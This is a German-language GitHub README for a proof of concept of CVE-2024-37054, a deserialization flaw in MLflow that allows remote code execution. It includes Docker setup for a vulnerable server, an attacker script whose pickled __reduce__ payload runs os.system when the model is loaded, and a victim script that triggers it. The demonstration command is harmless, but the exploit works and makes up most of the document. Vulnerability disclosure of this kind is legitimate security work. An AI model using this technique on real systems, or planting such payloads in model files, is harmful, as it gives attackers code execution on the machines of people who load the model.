
NiteeshPujari/CVE-2024-37054, Dieses Repository enthält einen Proof of Concept (PoC) eine kritische Deserialisierungs-Schwachstelle in MLflow, die Remote Code Execution (RCE) ermöglicht.
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2024-37054, eine kritische Deserialisierungsschwachstelle in MLflow, die Remote Code Execution (RCE) ermöglicht.
CVE-2024-37054mlflow.pyfunc.load_model. Ein Angreifer kann ein bösartiges Modell mit einem gepickled Payload erstellen. Wenn ein Opfer dieses Modell lädt, wird der Payload via cloudpickle.load deserialisiert, was zur Ausführung beliebigen Codes auf dem Rechner des Opfers führt.0.9.0 bis (ausschließlich) 2.14.2._load_pyfunc in mlflow/pyfunc/model.py.Dieser PoC simuliert zwei Rollen: einen Angreifer, der ein bösartiges Modell hochlädt, und ein Opfer, das es lädt und damit die RCE auslöst.
Der einfachste Weg, einen verwundbaren MLflow-Server einzurichten, ist die Verwendung des bereitgestellten Dockerfile.
Docker-Container bauen und ausführen:
# 1. Build the Docker image
docker build -t mlflow-vulnerable .
# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
Ihr verwundbarer MLflow-Server läuft nun unter http://127.0.0.1:5000.
Sie benötigen zwei separate Terminals auf Ihrem Host-Rechner. Stellen Sie sicher, dass Sie eine verwundbare Version von mlflow lokal installiert haben (pip install mlflow==2.14.1), um die Client-Skripte auszuführen.
Führen Sie in Ihrem ersten Terminal das Angreifer-Skript aus, um das bösartige Modell zu protokollieren.
# poc/log_malicious_model.py
import mlflow
import os
# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
Ausführen:
python poc/log_malicious_model.py
Führen Sie in Ihrem zweiten Terminal das Opfer-Skript aus, um das Laden des kompromittierten Modells zu simulieren.
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
Ausführen:
python poc/load_vulnerable_model.py
Nachdem Sie das Opfer-Skript ausgeführt haben, sehen Sie im Terminal die Meldung /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found und eine neue Datei namens pwned.txt wird in Ihrem Verzeichnis erstellt. Dies bestätigt die erfolgreiche Befehlsausführung.
Dieser Proof of Concept wurde von Pujari Niteesh entwickelt.